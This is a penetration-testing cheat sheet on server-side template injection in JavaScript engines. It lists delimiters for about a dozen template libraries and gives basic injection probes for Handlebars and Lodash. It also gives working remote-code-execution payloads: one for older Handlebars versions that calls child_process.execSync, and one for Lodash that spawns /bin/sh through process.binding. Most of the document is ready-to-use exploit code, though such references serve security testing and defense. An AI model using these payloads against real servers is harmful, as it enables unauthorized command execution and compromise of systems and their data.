# JavaScript

> Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.

## Summary

* [Templating Libraries](#templating-libraries)
* [Handlebars](#handlebars)
  * [Handlebars - Basic Injection](#handlebars---basic-injection)
  * [Handlebars - Command Execution](#handlebars---command-execution)
* [Lodash](#lodash)
  * [Lodash - Basic Injection](#lodash---basic-injection)
  * [Lodash - Command Execution](#lodash---command-execution)
* [References](#references)

## Templating Libraries

| Template Name | Payload Format   |
| ------------- | ---------------- |
| DotJS         | `{{= }}`         |
| DustJS        | `{}`             |
| EJS           | `<% %>`          |
| HandlebarsJS  | `{{ }}`          |
| HoganJS       | `{{ }}`          |
| Lodash        | `{{= }}`         |
| MustacheJS    | `{{ }}`          |
| NunjucksJS    | `{{ }}`          |
| PugJS         | `#{}`            |
| TwigJS        | `{{ }}`          |
| UnderscoreJS  | `<% %>`          |
| VelocityJS    | `#=set($X="")$X` |
| VueJS         | `{{ }}`          |

## Handlebars

[Official website](https://handlebarsjs.com/)

> Handlebars compiles templates into JavaScript functions.

### Handlebars - Basic Injection

```js
{{this}}
{{self}}
```

### Handlebars - Command Execution

This payload only work in handlebars versions, fixed in [GHSA-q42p-pg8m-cqh6](https://github.com/advisories/GHSA-q42p-pg8m-cqh6):

* `>= 4.1.0`, `< 4.1.2`
* `>= 4.0.0`, `< 4.0.14`
* `< 3.0.7`

```handlebars
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

***

## Lodash

[Official website](https://lodash.com/docs/4.17.15)

> A modern JavaScript utility library delivering modularity, performance & extras.

### Lodash - Basic Injection

How to create a template:

```javascript
const _ = require('lodash');
string = "{{= username}}"
const options = {
  evaluate: /\{\{(.+?)\}\}/g,
  interpolate: /\{\{=(.+?)\}\}/g,
  escape: /\{\{-(.+?)\}\}/g,
};

_.template(string, options);
```

* **string:** The template string.
* **options.interpolate:** It is a regular expression that specifies the HTML *interpolate* delimiter.
* **options.evaluate:** It is a regular expression that specifies the HTML *evaluate* delimiter.
* **options.escape:** It is a regular expression that specifies the HTML *escape* delimiter.

For the purpose of RCE, the delimiter of templates is determined by the **options.evaluate** parameter.

```javascript
{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>


{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>
```

### Lodash - Command Execution

```js
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
```

## References

* [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/)
* [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)